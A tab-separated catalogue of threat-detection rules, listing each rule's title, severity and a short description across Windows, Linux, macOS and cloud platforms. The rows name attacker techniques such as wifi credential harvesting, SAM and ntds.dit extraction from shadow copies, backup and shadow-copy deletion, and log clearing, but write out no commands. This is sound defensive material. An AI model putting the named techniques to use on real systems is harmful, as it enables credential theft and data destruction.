HackTool - Bloodhound/Sharphound Execution	high	Detects command line parameters used by Bloodhound and Sharphound hack tools
HackTool - Certify Execution	high	Detects Certify a tool for Active Directory certificate abuse based on PE metadata characteristics and common command line arguments.
HackTool - Certipy Execution	high	Detects Certipy execution, a tool for Active Directory Certificate Services enumeration and abuse based on PE metadata characteristics and common command line arguments.
HackTool - CrackMapExec Execution	high	This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.
HackTool - PCHunter Execution	high	Detects suspicious use of PCHunter, a tool like Process Hacker to view and manipulate processes, kernel options and other low level stuff
HackTool - SharpLdapWhoami Execution	high	Detects SharpLdapWhoami, a whoami alternative that queries the LDAP service on a domain controller
HackTool - SharpView Execution	high	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems
HackTool - SharpLDAPmonitor Execution	medium	Detects execution of the SharpLDAPmonitor. Which can monitor the creation, deletion and changes to LDAP objects.
HackTool - SOAPHound Execution	high	Detects the execution of SOAPHound, a .NET tool for collecting Active Directory data, using specific command-line arguments that may indicate an attempt to extract sensitive AD information.
HackTool - TruffleSnout Execution	high	Detects the use of TruffleSnout.exe an iterative AD discovery toolkit for offensive operators, situational awareness and targeted low noise enumeration.
HackTool - WinPwn Execution	high	Detects commandline keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.
Suspicious Execution of Hostname	low	Use of hostname to get information
Potential Reconnaissance Activity Via GatherNetworkInfo.VBS	medium	Detects execution of the built-in script located in "C:\Windows\System32\gatherNetworkInfo.vbs". Which can be used to gather information about the target machine
Firewall Configuration Discovery Via Netsh.EXE	low	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems
New Network Trace Capture Started Via Netsh.EXE	medium	Detects the execution of netsh with the "trace" flag in order to start a network capture
Harvesting Of Wifi Credentials Via Netsh.EXE	medium	Detect the harvesting of wifi credentials using netsh.exe
Suspicious Group And Account Reconnaissance Activity Using Net.EXE	medium	Detects suspicious reconnaissance command line activity on Windows systems using Net.EXE Check if the user that executed the commands is suspicious (e.g. service accounts, LOCAL_SYSTEM)
System Network Connections Discovery Via Net.EXE	low	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Share And Session Enumeration Using Net.EXE	low	Detects attempts to enumerate file shares, printer shares and sessions using "net.exe" with the "view" flag.
Nltest.EXE Execution	low	Detects nltest commands that can be used for information discovery
Potential Recon Activity Via Nltest.EXE	medium	Detects nltest commands that can be used for information discovery
Network Reconnaissance Activity	high	Detects a set of suspicious network related commands often used in recon stages
AADInternals PowerShell Cmdlets Execution - ProccessCreation	high	Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.
Potential Active Directory Enumeration Using AD Module - ProcCreation	medium	Detects usage of the "Import-Module" cmdlet to load the "Microsoft.ActiveDirectory.Management.dl" DLL. Which is often used by attackers to perform AD enumeration.
Computer Discovery And Export Via Get-ADComputer Cmdlet	medium	Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file
Suspicious Reconnaissance Activity Using Get-LocalGroupMember Cmdlet	medium	Detects suspicious reconnaissance command line activity on Windows systems using the PowerShell Get-LocalGroupMember Cmdlet
Malicious PowerShell Commandlets - ProcessCreation	high	Detects Commandlet names from well-known PowerShell exploitation frameworks
User Discovery And Export Via Get-ADUser Cmdlet	medium	Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file
PUA - AdFind Suspicious Execution	high	Detects AdFind execution with common flags seen used during attacks
PUA - Suspicious ActiveDirectory Enumeration Via AdFind.EXE	high	Detects active directory enumeration activity using known AdFind CLI flags
PUA - Advanced IP Scanner Execution	medium	Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.
PUA - Advanced Port Scanner Execution	medium	Detects the use of Advanced Port Scanner.
PUA - Crassus Execution	high	Detects Crassus, a Windows privilege escalation discovery tool, based on PE metadata characteristics.
PUA - SoftPerfect Netscan Execution	medium	Detects usage of SoftPerfect's "netscan.exe". An application for scanning networks. It is actively used in-the-wild by threat actors to inspect and understand the network architecture of a victim.
PUA - Nmap/Zenmap Execution	medium	Detects usage of namp/zenmap. Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation
PUA - Process Hacker Execution	medium	Detects the execution of Process Hacker based on binary metadata information (Image, Hash, Imphash, etc). Process Hacker is a tool to view and manipulate processes, kernel options and other low level options. Threat actors abused older vulnerable versions to manipulate system processes.
PUA - Seatbelt Execution	high	Detects the execution of the PUA/Recon tool Seatbelt via PE information of command line parameters
PUA - System Informer Execution	medium	Detects the execution of System Informer, a task manager tool to view and manipulate processes, kernel options and other low level operations
PUA - Adidnsdump Execution	low	This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks Python 3 and python.exe must be installed, Usee to Query/modify DNS records for Active Directory integrated DNS via LDAP
Detected Windows Software Discovery	medium	Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.
Potential Configuration And Service Reconnaissance Via Reg.EXE	medium	Detects the usage of "reg.exe" in order to query reconnaissance information from the registry. Adversaries may interact with the Windows registry to gather information about credentials, the system, configuration, and installed software.
Suspicious Query of MachineGUID	low	Use of reg to get MachineGuid information
Discovery of a System Time	low	Identifies use of various commands to query a systems time. This technique may be used before executing a scheduled task or to discover the time zone of a target system.
Renamed AdFind Execution	high	Detects the use of a renamed Adfind.exe. AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain.
Renamed Remote Utilities RAT (RURAT) Execution	medium	Detects execution of renamed Remote Utilities (RURAT) via Product PE header field
Renamed Whoami Execution	critical	Detects the execution of whoami that has been renamed to a different name to avoid detection
Potential Suspicious Activity Using SeCEdit	medium	Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy
Potentially Suspicious EventLog Recon Activity Using Log Query Utilities	medium	Detects execution of different log query utilities and commands to search and dump the content of specific event logs or look for specific event IDs. This technique is used by threat actors in order to extract sensitive information from events logs such as usernames, IP addresses, hostnames, etc.
Suspicious Reconnaissance Activity Via GatherNetworkInfo.VBS	high	Detects execution of the built-in script located in "C:\Windows\System32\gatherNetworkInfo.vbs". Which can be used to gather information about the target machine
Local Accounts Discovery	low	Local accounts, System Owner/User discovery using operating systems utilities
Suspicious Network Command	low	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems
Suspicious Scan Loop Network	medium	Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system
Potential Network Sniffing Activity Using Network Tools	medium	Detects potential network sniffing via use of network tools such as "tshark", "windump". Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.
Obfuscated IP Download Activity	medium	Detects use of an encoded/obfuscated version of an IP address (hex, octal...) in an URL combined with a download command
Obfuscated IP Via CLI	medium	Detects usage of an encoded/obfuscated version of an IP address (hex, octal, etc.) via command line
WhoAmI as Parameter	high	Detects a suspicious process command line that uses whoami as first parameter (as e.g. used by EfsPotato)
Permission Check Via Accesschk.EXE	medium	Detects the usage of the "Accesschk" utility, an access and privilege audit tool developed by SysInternal and often being abused by attacker to verify process privileges
Suspicious Use of PsLogList	medium	Detects usage of the PsLogList utility to dump event log in order to extract admin accounts and perform account discovery or delete events logs
Sysinternals PsService Execution	medium	Detects usage of Sysinternals PsService which can be abused for service reconnaissance and tampering
Sysinternals PsSuspend Execution	medium	Detects usage of Sysinternals PsSuspend which can be abused to suspend critical processes
Suspicious Execution of Systeminfo	low	Detects usage of the "systeminfo" command to retrieve information
Use of W32tm as Timer	high	When configured with suitable command line arguments, w32tm can act as a delay mechanism
Suspicious Where Execution	low	Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.
Enumerate All Information With Whoami.EXE	medium	Detects the execution of "whoami.exe" with the "/all" flag
Whoami Utility Execution	low	Detects the execution of whoami, which is often used by attackers after exploitation / privilege escalation
Whoami.EXE Execution From Privileged Process	high	Detects the execution of "whoami.exe" by privileged accounts that are often abused by threat actors
Group Membership Reconnaissance Via Whoami.EXE	medium	Detects the execution of whoami.exe with the /group command line flag to show group membership for the current user, account type, security identifiers (SID), and attributes.
Whoami.EXE Execution With Output Option	medium	Detects the execution of "whoami.exe" with the "/FO" flag to choose CSV as output format or with redirection options to export the results to a file for later use.
Whoami.EXE Execution Anomaly	medium	Detects the execution of whoami.exe with suspicious parent processes.
Security Privileges Enumeration Via Whoami.EXE	high	Detects a whoami.exe executed with the /priv command line flag instructing the tool to show all current user privileges. This is often used after a privilege escalation attempt.
Computer System Reconnaissance Via Wmic.EXE	medium	Detects execution of wmic utility with the "computersystem" flag in order to obtain information about the machine such as the domain, username, model, etc.
Local Groups Reconnaissance Via Wmic.EXE	low	Detects the execution of "wmic" with the "group" flag. Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.
Uncommon System Information Discovery Via Wmic.EXE	medium	Detects the use of the WMI command-line (WMIC) utility to identify and display various system information, including OS, CPU, GPU, and disk drive names; memory capacity; display resolution; and baseboard, BIOS, and GPU driver products/versions. Some of these commands were used by Aurora Stealer in late 2022/early 2023.
System Disk And Volume Reconnaissance Via Wmic.EXE	medium	An adversary might use WMI to discover information about the system, such as the volume name, size, free space, and other disk information. This can be done using the `wmic` command-line utility and has been observed being used by threat actors such as Volt Typhoon.
Turla Group Lateral Movement	critical	Detects automated lateral movement by Turla group
WannaCry Ransomware Activity	critical	Detects WannaCry ransomware activity
Potential Baby Shark Malware Activity	high	Detects activity that could be related to Baby Shark malware
Potential Dridex Activity	critical	Detects potential Dridex acitvity via specific process patterns
Operation Wocao Activity	high	Detects activity mentioned in Operation Wocao report
Operation Wocao Activity - Security	high	Detects activity mentioned in Operation Wocao report
Potential Pikabot Discovery Activity	high	Detects system discovery activity carried out by Pikabot, such as incl. network, user info and domain groups. The malware Pikabot has been seen to use this technique as part of its C2-botnet registration with a short collection time frame (less than 1 minute).
Remote Registry Management Using Reg Utility	medium	Remote registry management using REG utility from non-admin workstation
Userdomain Variable Enumeration	low	Detects suspicious enumeration of the domain the user is associated with.
Process Discovery	low	Detects process discovery commands. Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network
Local Firewall Rules Enumeration Via NetFirewallRule Cmdlet	low	Detects execution of "Get-NetFirewallRule" or "Show-NetFirewallRule" to enumerate the local firewall rules on a host.
Potential Registry Reconnaissance Via PowerShell Script	medium	Detects PowerShell scripts with potential registry reconnaissance capabilities. Adversaries may interact with the Windows registry to gather information about the system credentials, configuration, and installed software.
CMD Shell Output Redirect	low	Detects the use of the redirection character ">" to redirect information on the command line. This technique is sometimes used by malicious actors in order to redirect the output of reconnaissance commands such as "hostname" and "dir" to files for future exfiltration.
Net.EXE Execution	low	Detects execution of "Net.EXE".
SC.EXE Query Execution	low	Detects execution of "sc.exe" to query information about registered services on the system
Suspicious Tasklist Discovery Command	informational	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network
System Information Discovery Via Wmic.EXE	low	Detects the use of the WMI command-line (WMIC) utility to identify and display various system information, including OS, CPU, GPU, disk drive names, memory capacity, display resolution, baseboard, BIOS, and GPU driver products/versions.
Potential Backup Enumeration on AWS	medium	Detects potential enumeration activity targeting an AWS instance backups
Account Enumeration on AWS	low	Detects enumeration of accounts configuration via api call to list different instances and services within a short period of time.
Potential Network Enumeration on AWS	low	Detects network enumeration performed on AWS.
Potential Storage Enumeration on AWS	medium	Detects potential enumeration activity targeting AWS storage
Network Scans Count By Destination IP	medium	Detects many failed connection attempts to different ports or hosts
Network Scans Count By Destination Port	medium	Detects many failed connection attempts to different ports or hosts
Silence.Downloader V3	high	Detects Silence downloader. These commands are hardcoded into the binary.
Automated Turla Group Lateral Movement	medium	Detects automated lateral movement by Turla group
Reconnaissance Activity Using BuiltIn Commands	medium	Detects execution of a set of builtin commands often used in recon stages by different attack groups
Enumeration via the Global Catalog	medium	Detects enumeration of the global catalog (that can be performed using BloodHound or others AD reconnaissance tools). Adjust Threshold according to domain width.
Domain User Enumeration Network Recon 01	medium	Domain user and group enumeration via network reconnaissance. Seen in APT 29 and other common tactics and actors. Detects a set of RPC (remote procedure calls) used to enumerate a domain controller. The rule was created based off the datasets and hackathon from https://github.com/OTRF/detection-hackathon-apt29

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Title	Level	Description
Run from a Zip File	medium	Payloads may be compressed, archived, or encrypted in order to avoid detection
Stop Windows Service	low	Detects a Windows service to be stopped
OpenCanary - NTP Monlist Request	high	Detects instances where an NTP service on an OpenCanary node has had a NTP monlist request.
AWS S3 Bucket Versioning Disable	medium	Detects when S3 bucket versioning is disabled. Threat actors use this technique during AWS ransomware incidents prior to deleting S3 objects.
AWS EC2 Disable EBS Encryption	medium	Identifies disabling of default Amazon Elastic Block Store (EBS) encryption in the current region. Disabling default encryption does not change the encryption status of your existing volumes.
AWS EFS Fileshare Modified or Deleted	medium	Detects when a EFS Fileshare is modified or deleted. You can't delete a file system that is in use. If the file system has any mount targets, the adversary must first delete them, so deletion of a mount will occur before deletion of a fileshare.
AWS EFS Fileshare Mount Modified or Deleted	medium	Detects when a EFS Fileshare Mount is modified or deleted. An adversary breaking any file system using the mount target that is being deleted, which might disrupt instances or applications using those mounts.
AWS EKS Cluster Created or Deleted	low	Identifies when an EKS cluster is created or deleted.
AWS ElastiCache Security Group Modified or Deleted	low	Identifies when an ElastiCache security group has been modified or deleted.
Azure Application Deleted	medium	Identifies when a application is deleted in Azure.
Azure Application Gateway Modified or Deleted	medium	Identifies when a application gateway is modified or deleted.
Azure Application Security Group Modified or Deleted	medium	Identifies when a application security group is modified or deleted.
Azure Application Credential Modified	medium	Identifies when a application credential is modified.
Azure Container Registry Created or Deleted	low	Detects when a Container Registry is created or deleted.
Azure Device No Longer Managed or Compliant	medium	Identifies when a device in azure is no longer managed or compliant
Azure Device or Configuration Modified or Deleted	medium	Identifies when a device or device configuration in azure is modified or deleted.
Azure DNS Zone Modified or Deleted	medium	Identifies when DNS zone is modified or deleted.
Azure Firewall Modified or Deleted	medium	Identifies when a firewall is created, modified, or deleted.
Azure Firewall Rule Collection Modified or Deleted	medium	Identifies when Rule Collections (Application, NAT, and Network) is being modified or deleted.
Azure Keyvault Key Modified or Deleted	medium	Identifies when a Keyvault Key is modified or deleted in Azure.
Azure Key Vault Modified or Deleted	medium	Identifies when a key vault is modified or deleted.
Azure Keyvault Secrets Modified or Deleted	medium	Identifies when secrets are modified or deleted in Azure.
Azure Kubernetes Cluster Created or Deleted	low	Detects when a Azure Kubernetes Cluster is created or deleted.
Azure Kubernetes Network Policy Change	medium	Identifies when a Azure Kubernetes network policy is modified or deleted.
Azure Kubernetes Pods Deleted	medium	Identifies the deletion of Azure Kubernetes Pods.
Azure Kubernetes RoleBinding/ClusterRoleBinding Modified and Deleted	medium	Detects the creation or patching of potential malicious RoleBinding/ClusterRoleBinding.
Azure Kubernetes Sensitive Role Access	medium	Identifies when ClusterRoles/Roles are being modified or deleted.
Azure Kubernetes Secret or Config Object Access	medium	Identifies when a Kubernetes account access a sensitive objects such as configmaps or secrets.
Azure Kubernetes Service Account Modified or Deleted	medium	Identifies when a service account is modified or deleted.
Azure Network Firewall Policy Modified or Deleted	medium	Identifies when a Firewall Policy is Modified or Deleted.
Azure Point-to-site VPN Modified or Deleted	medium	Identifies when a Point-to-site VPN is Modified or Deleted.
Azure Firewall Rule Configuration Modified or Deleted	medium	Identifies when a Firewall Rule Configuration is Modified or Deleted.
Azure Network Security Configuration Modified or Deleted	medium	Identifies when a network security configuration is modified or deleted.
Azure Virtual Network Device Modified or Deleted	medium	Identifies when a virtual network device is being modified or deleted. This can be a network interface, network virtual appliance, virtual hub, or virtual router.
Azure Suppression Rule Created	medium	Identifies when a suppression rule is created in Azure. Adversary's could attempt this to evade detection.
Azure Virtual Network Modified or Deleted	medium	Identifies when a Virtual Network is modified or deleted in Azure.
Azure VPN Connection Modified or Deleted	medium	Identifies when a VPN connection is modified or deleted.
Google Cloud Storage Buckets Modified or Deleted	medium	Detects when storage bucket is modified or deleted in Google Cloud.
Google Cloud Re-identifies Sensitive Information	medium	Identifies when sensitive information is re-identified in google Cloud.
Google Cloud DNS Zone Modified or Deleted	medium	Identifies when a DNS Zone is modified or deleted in Google Cloud.
Google Cloud Service Account Disabled or Deleted	medium	Identifies when a service account is disabled or deleted in Google Cloud.
Google Cloud Service Account Modified	medium	Identifies when a service account is modified in Google Cloud.
Google Cloud SQL Database Modified or Deleted	medium	Detect when a Cloud SQL DB has been modified or deleted.
Google Cloud VPN Tunnel Modified or Deleted	medium	Identifies when a VPN Tunnel Modified or Deleted in Google Cloud.
Google Workspace Application Removed	medium	Detects when an an application is removed from Google Workspace.
Google Workspace MFA Disabled	medium	Detects when multi-factor authentication (MFA) is disabled.
Google Workspace Role Modified or Deleted	medium	Detects when an a role is modified or deleted in Google Workspace.
Google Workspace Role Privilege Deleted	medium	Detects when an a role privilege is deleted in Google Workspace.
Github Delete Action Invoked	medium	Detects delete action in the Github audit logs for codespaces, environment, project and repo.
Github Self Hosted Runner Changes Detected	low	A self-hosted runner is a system that you deploy and manage to execute jobs from GitHub Actions on GitHub.com. This rule detects changes to self-hosted runners configurations in the environment. The self-hosted runner configuration changes once detected, it should be validated from GitHub UI because the log entry may not provide full context.
Activity Performed by Terminated User	medium	Detects when a Microsoft Cloud App Security reported for users whose account were terminated in Azure AD, but still perform activities in other platforms such as AWS or Salesforce. This is especially relevant for users who use another account to manage resources, since these accounts are often not terminated when a user leaves the company.
Microsoft 365 - Potential Ransomware Activity	medium	Detects when a Microsoft Cloud App Security reported when a user uploads files to the cloud that might be infected with ransomware.
Microsoft 365 - Unusual Volume of File Deletion	medium	Detects when a Microsoft Cloud App Security reported a user has deleted a unusual a large volume of files.
Okta API Token Revoked	medium	Detects when a API Token is revoked.
Okta Application Modified or Deleted	medium	Detects when an application is modified or deleted.
Okta Application Sign-On Policy Modified or Deleted	medium	Detects when an application Sign-on Policy is modified or deleted.
Okta Network Zone Deactivated or Deleted	medium	Detects when an Network Zone is Deactivated or Deleted.
Okta Policy Rule Modified or Deleted	medium	Detects when an Policy Rule is Modified or Deleted.
Okta Policy Modified or Deleted	low	Detects when an Okta policy is modified or deleted.
Okta Unauthorized Access to App	medium	Detects when unauthorized access to app occurs.
Okta User Account Locked Out	medium	Detects when an user account is locked out.
OneLogin User Assumed Another User	low	Detects when an user assumed another user account.
OneLogin User Account Locked	low	Detects when an user account is locked or suspended.
Overwriting the File with Dev Zero or Null	low	Detects overwriting (effectively wiping/deleting) of a file.
System Shutdown/Reboot - Linux	informational	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.
Commands to Clear or Remove the Syslog - Builtin	high	Detects specific commands commonly used to remove or empty the syslog
Suspicious Log Entries	medium	Detects suspicious log entries in Linux log files
Linux Crypto Mining Pool Connections	high	Detects process connections to a Monero crypto mining pool
Linux Crypto Mining Indicators	high	Detects command line parameters or strings often used by crypto miners
DD File Overwrite	low	Detects potential overwriting and deletion of a file using DD.
Group Has Been Deleted Via Groupdel	medium	Detects execution of the "groupdel" binary. Which is used to delete a group. This is sometimes abused by threat actors in order to cover their tracks
History File Deletion	high	Detects events in which a history file gets deleted, e.g. the ~/bash_history to remove traces of malicious activity
Potential Suspicious Change To Sensitive/Critical Files	medium	Detects changes of sensitive and critical files. Monitors files that you don't expect to change without planning on Linux system.
User Has Been Deleted Via Userdel	medium	Detects execution of the "userdel" binary. Which is used to delete a user account and related files. This is sometimes abused by threat actors in order to cover their tracks
Suspicious MacOS Firmware Activity	medium	Detects when a user manipulates with Firmward Password on MacOS. NOTE - this command has been disabled on silicon-based apple computers.
System Shutdown/Reboot - MacOs	informational	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.
Time Machine Backup Deletion Attempt Via Tmutil - MacOS	medium	Detects deletion attempts of MacOS Time Machine backups via the native backup utility "tmutil". An adversary may perform this action before launching a ransonware attack to prevent the victim from restoring their files.
Time Machine Backup Disabled Via Tmutil - MacOS	medium	Detects disabling of Time Machine (Apple's automated backup utility software) via the native macOS backup utility "tmutil". An attacker can use this to prevent backups from occurring.
New File Exclusion Added To Time Machine Via Tmutil - MacOS	medium	Detects the addition of a new file or path exclusion to MacOS Time Machine via the "tmutil" utility. An adversary could exclude a path from Time Machine backups to prevent certain files from being backed up.
Cisco Denial of Service	medium	Detect a system being shutdown or put into different boot mode
Cisco File Deletion	medium	See what files are being deleted from flash file systems
Cisco Modify Configuration	medium	Modifications to a config that will serve an adversary's impacts or persistence
Monero Crypto Coin Mining Pool Lookup	high	Detects suspicious DNS queries to Monero mining pools
DNS Events Related To Mining Pools	low	Identifies clients that may be performing DNS lookups associated with common currency mining pools.
Apache Segmentation Fault	high	Detects a segmentation fault error message caused by a crashing apache worker process
Nginx Core Dump	high	Detects a core dump of a crashing Nginx worker process, which could be a signal of a serious problem or exploitation attempts.
Audit CVE Event	critical	Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited. MS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability. Unfortunately, that is about the only instance of CVEs being written to this log.
Application Uninstalled	low	An application has been removed. Check if it is critical.
Potential Secure Deletion with SDelete	medium	Detects files that have extensions commonly seen while SDelete is used to wipe files.
User Logoff Event	informational	Detects a user log-off activity. Could be used for example to correlate information during forensic investigations
Locked Workstation	informational	Detects locked workstation session events that occur automatically after a standard period of inactivity.
Windows Update Error	informational	Detects Windows update errors including installation failures and connection issues. Defenders should observe this in case critical update KBs aren't installed.
NTFS Vulnerability Exploitation	high	This the exploitation of a NTFS vulnerability as reported without many details via Twitter
Important Scheduled Task Deleted	high	Detects when adversaries try to stop system services or processes by deleting their respective scheduled tasks in order to conduct data destructive activities
Backup Files Deleted	medium	Detects deletion of files with extensions often used for backup files. Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.
Suspicious Creation TXT File in User Desktop	high	Ransomware create txt file in the user Desktop
Suspicious Appended Extension	medium	Detects file renames where the target filename uses an uncommon double extension. Could indicate potential ransomware activity renaming files and adding a custom extension to the encrypted files, such as ".jpg.crypted", ".docx.locky", etc.
Load Of RstrtMgr.DLL By A Suspicious Process	high	Detects the load of RstrtMgr DLL (Restart Manager) by a suspicious process. This library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows. It could also be used for anti-analysis purposes by shut downing specific processes.
Load Of RstrtMgr.DLL By An Uncommon Process	low	Detects the load of RstrtMgr DLL (Restart Manager) by an uncommon process. This library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows. It could also be used for anti-analysis purposes by shut downing specific processes.
Suspicious Volume Shadow Copy Vssapi.dll Load	high	Detects the image load of VSS DLL by uncommon executables
Potentially Suspicious Volume Shadow Copy Vsstrace.dll Load	medium	Detects the image load of VSS DLL by uncommon executables
Suspicious Volume Shadow Copy VSS_PS.dll Load	high	Detects the image load of vss_ps.dll by uncommon executables
Network Communication With Crypto Mining Pool	high	Detects initiated network connections to crypto mining pools
Delete Volume Shadow Copies Via WMI With PowerShell	high	Shadow Copies deletion using operating systems utilities via PowerShell
Potential Active Directory Enumeration Using AD Module - PsModule	medium	Detects usage of the "Import-Module" cmdlet to load the "Microsoft.ActiveDirectory.Management.dl" DLL. Which is often used by attackers to perform AD enumeration.
AADInternals PowerShell Cmdlets Execution - PsScript	high	Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.
Potential Active Directory Enumeration Using AD Module - PsScript	medium	Detects usage of the "Import-Module" cmdlet to load the "Microsoft.ActiveDirectory.Management.dl" DLL. Which is often used by attackers to perform AD enumeration.
Powershell Add Name Resolution Policy Table Rule	high	Detects powershell scripts that adds a Name Resolution Policy Table (NRPT) rule for the specified namespace. This will bypass the default DNS server and uses a specified server for answering the query.
Silence.EDA Detection	critical	Detects Silence EmpireDNSAgent as described in the Group-IP report
Remove Account From Domain Admin Group	medium	Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.
Replace Desktop Wallpaper by Powershell	low	An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper
Delete Volume Shadow Copies via WMI with PowerShell - PS Script	high	Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil
Deletion of Volume Shadow Copies via WMI with PowerShell - PS Script	high	Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil
Boot Configuration Tampering Via Bcdedit.EXE	high	Detects the use of the bcdedit command to tamper with the boot configuration data. This technique is often times used by malware or attackers as a destructive way before launching ransomware.
Deleted Data Overwritten Via Cipher.EXE	medium	Detects usage of the "cipher" built-in utility in order to overwrite deleted data from disk. Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives
Copy From VolumeShadowCopy Via Cmd.EXE	high	Detects the execution of the builtin "copy" command that targets a shadow copy (sometimes used to copy registry hives that are in use)
Fsutil Suspicious Invocation	high	Detects suspicious parameters of fsutil (deleting USN journal, configuring it with small size, etc). Might be used by ransomwares during the attack (seen by NotPetya and others).
Portable Gpg.EXE Execution	medium	Detects the execution of "gpg.exe" from uncommon location. Often used by ransomware and loaders to decrypt/encrypt data.
Stop Windows Service Via Net.EXE	low	Detects the stopping of a Windows service via the "net" utility.
AADInternals PowerShell Cmdlets Execution - ProccessCreation	high	Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.
Potential Active Directory Enumeration Using AD Module - ProcCreation	medium	Detects usage of the "Import-Module" cmdlet to load the "Microsoft.ActiveDirectory.Management.dl" DLL. Which is often used by attackers to perform AD enumeration.
Deletion of Volume Shadow Copies via WMI with PowerShell	high	Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil
Stop Windows Service Via PowerShell Stop-Service	low	Detects the stopping of a Windows service via the PowerShell Cmdlet "Stop-Service"
Suspicious Reg Add BitLocker	high	Detects suspicious addition to BitLocker related registry keys via the reg.exe utility
Potentially Suspicious Desktop Background Change Using Reg.EXE	medium	Detects the execution of "reg.exe" to alter registry keys that would replace the user's desktop background. This is a common technique used by malware to change the desktop background to a ransom note or other image.
Renamed Gpg.EXE Execution	high	Detects the execution of a renamed "gpg.exe". Often used by ransomware and loaders to decrypt/encrypt data.
Renamed Sysinternals Sdelete Execution	high	Detects the use of a renamed SysInternals Sdelete, which is something an administrator shouldn't do (the renaming)
Delete Important Scheduled Task	high	Detects when adversaries stop services or processes by deleting their respective scheduled tasks in order to conduct data destructive activities
Delete All Scheduled Tasks	high	Detects the usage of schtasks with the delete flag and the asterisk symbol to delete all tasks from the schedule of the local computer, including tasks scheduled by other users.
Disable Important Scheduled Task	high	Detects when adversaries stop services or processes by disabling their respective scheduled tasks in order to conduct data destructive activities
Stop Windows Service Via Sc.EXE	low	Detects the stopping of a Windows service via the "sc.exe" utility
Suspicious Execution of Shutdown	medium	Use of the commandline to shutdown or reboot windows
Suspicious Execution of Shutdown to Log Out	medium	Detects the rare use of the command line tool shutdown to logoff a user
Potential Crypto Mining Activity	high	Detects command line parameters or strings often used by crypto miners
Sensitive File Access Via Volume Shadow Copy Backup	high	Detects a command that accesses the VolumeShadowCopy in order to extract sensitive files such as the Security or SAM registry hives or the AD database (ntds.dit)
Shadow Copies Deletion Using Operating Systems Utilities	high	Shadow Copies deletion using operating systems utilities
Potential File Overwrite Via Sysinternals SDelete	high	Detects the use of SDelete to erase a file not the free space
All Backups Deleted Via Wbadmin.EXE	high	Detects the deletion of all backups or system state backups via "wbadmin.exe". This technique is used by numerous ransomware families and actors. This may only be successful on server platforms that have Windows Backup enabled.
Windows Backup Deleted Via Wbadmin.EXE	medium	Detects the deletion of backups or system state backups via "wbadmin.exe". This technique is used by numerous ransomware families and actors. This may only be successful on server platforms that have Windows Backup enabled.
File Recovery From Backup Via Wbadmin.EXE	medium	Detects the recovery of files from backups via "wbadmin.exe". Attackers can restore sensitive files such as NTDS.DIT or Registry Hives from backups in order to potentially extract credentials.
Potentially Suspicious Desktop Background Change Via Registry	medium	Detects registry value settings that would replace the user's desktop background. This is a common technique used by malware to change the desktop background to a ransom note or other image.
Registry Disable System Restore	high	Detects the modification of the registry to disable a system restore on the computer
New Root or CA or AuthRoot Certificate to Store	medium	Detects the addition of new root, CA or AuthRoot certificates to the Windows registry
Potential Ransomware Activity Using LegalNotice Message	high	Detect changes to the "LegalNoticeCaption" or "LegalNoticeText" registry values where the message set contains keywords often used in ransomware ransom messages
WannaCry Ransomware Activity	critical	Detects WannaCry ransomware activity
Potential Dtrack RAT Activity	critical	Detects potential Dtrack RAT activity via specific process patterns
